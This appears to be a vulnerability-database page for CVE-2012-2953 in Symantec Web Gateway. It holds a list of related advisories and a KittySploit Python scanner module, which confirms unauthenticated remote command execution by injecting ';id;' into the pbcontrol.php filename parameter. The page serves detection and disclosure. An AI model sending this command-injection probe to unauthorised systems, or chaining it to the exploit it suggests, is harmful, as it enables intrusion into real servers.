Symantec Web Gateway - pbcontrol.php RCE Detection (CVE-2012-2953)
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection | 27 Jul 201200:00 | – | zdt | |
| CVE-2012-2953 | 24 Jul 201200:00 | – | circl | |
| Symantec Web Gateway pbcontrol.php Command Injection (CVE-2012-2953) | 2 Dec 201200:00 | – | checkpoint_advisories | |
| CVE-2012-2953 | 23 Jul 201217:00 | – | cve | |
| CVE-2012-2953 | 23 Jul 201217:00 | – | cvelist | |
| Symantec Web Gateway 5.0.3.18 RCE | 7 Dec 201200:00 | – | dsquare | |
| Symantec Web Gateway 5.0.3.18 - 'pbcontrol.php' Root Remote Code Execution | 24 Jul 201200:00 | – | exploitdb | |
| Symantec Web Gateway 5.0.2.18 - 'pbcontrol.php' Command Injection (Metasploit) | 27 Jul 201200:00 | – | exploitdb | |
| Symantec Web Gateway - pbcontrol.php RCE (CVE-2012-2953) | 10 Aug 202606:19 | – | kittysploit | |
| Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection | 23 Jul 201200:00 | – | metasploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Symantec Web Gateway pbcontrol.php RCE (CVE-2012-2953)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Symantec Web Gateway - pbcontrol.php RCE Detection (CVE-2012-2953)',
'description': (
'Detects CVE-2012-2953 by requesting '
'/spywall/pbcontrol.php?filename=...;id;...'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2012', 'symantec', 'rce', 'cmdi', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/linux/http/symantec_wg_cve_2012_2953_rce'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2012-2953',
],
'cve': 'CVE-2012-2953',
}
def run(self):
for base in ('', '/spywall'):
# NASL uses dir + /spywall/pbcontrol.php
path = (
f'{base}/spywall/pbcontrol.php?filename=VT-Test%22%3bid%3b%22&stage=0'
)
if base == '/spywall':
path = f'{base}/pbcontrol.php?filename=VT-Test%22%3bid%3b%22&stage=0'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and re.search(r'uid=\d+.*gid=\d+', r.text or ''):
self.set_info(
severity='critical',
reason='Symantec WG pbcontrol.php RCE (CVE-2012-2953)',
path=path.split('?')[0],
)
return True
return False
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04 Sep 2026 06:36Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.67389